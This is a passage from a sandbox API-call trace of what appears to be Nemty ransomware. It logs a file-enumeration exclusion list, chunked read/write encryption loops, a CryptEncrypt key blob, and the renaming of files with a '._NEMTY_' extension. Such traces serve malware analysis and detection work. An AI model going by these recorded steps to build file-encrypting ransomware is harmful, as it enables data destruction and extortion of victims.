lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.649] CloseHandle (hObject=0xffffffff) returned 0 [0157.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png._nemty_kgobjgd_")) returned 0 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.649] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="5.png", cAlternateFileName="")) returned 1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2=".") returned 1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="..") returned 1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="...") returned 1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="windows") returned -1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="$RECYCLE.BIN") returned 1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="rsa") returned -1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="NTDETECT.COM") returned -1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="ntldr") returned -1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="MSDOS.SYS") returned -1 [0157.649] lstrcmpiW (lpString1="5.png", lpString2="IO.SYS") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="boot.ini") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="boot.ini") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="ntuser.dat") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="desktop.ini") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="CONFIG.SYS") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="RECYCLER") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="BOOTSECT.BAK") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="bootmgr") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="programdata") returned -1 [0157.650] lstrcmpiW (lpString1="5.png", lpString2="appdata") returned -1 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0157.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.650] Sleep (dwMilliseconds=0x5) [0157.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x119d4c70, dwHighDateTime=0x1d561e8)) [0157.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x119d4c70, dwHighDateTime=0x1d561e8)) [0157.651] GetLastError () returned 0x5 [0157.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.651] GetLastError () returned 0x5 [0157.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.652] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.652] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.652] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="CWbRxuq5hRCKGZRmu2MUST8qqwdlBOcIi6rdT1gf7Y1W47JfrUPg/5HWo1NtTYz2\r\ngKgwo0f7jtxzctRBBSpxZW5hda50rCIfdu9CjAb0smcNmMhtpifSq54dSwCwRZuh\r\n6o1NDctAXOBXg16FUrDIvL/wLEq7p4Qr2O+zpiFDSYqQ4t4YdmzD0tiRilBzctuD\r\nNwGK20Gj7RdJibOWuldCp7KKtPEzareTkOURqUJqfhhrrcLWyQerh0dE4X0srw77\r\nsqFY8257bVhn5nicOUWz3S/GJF9qdb4H7sVC+vCh8BaQ6B1C+bAzondQ03G+6AjF\r\nDBNXv+lCfwIN/yYw6jk9fw==\r\n", pcchString=0x653e91c) returned 1 [0157.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.652] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.659] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.732] WriteFile (in: 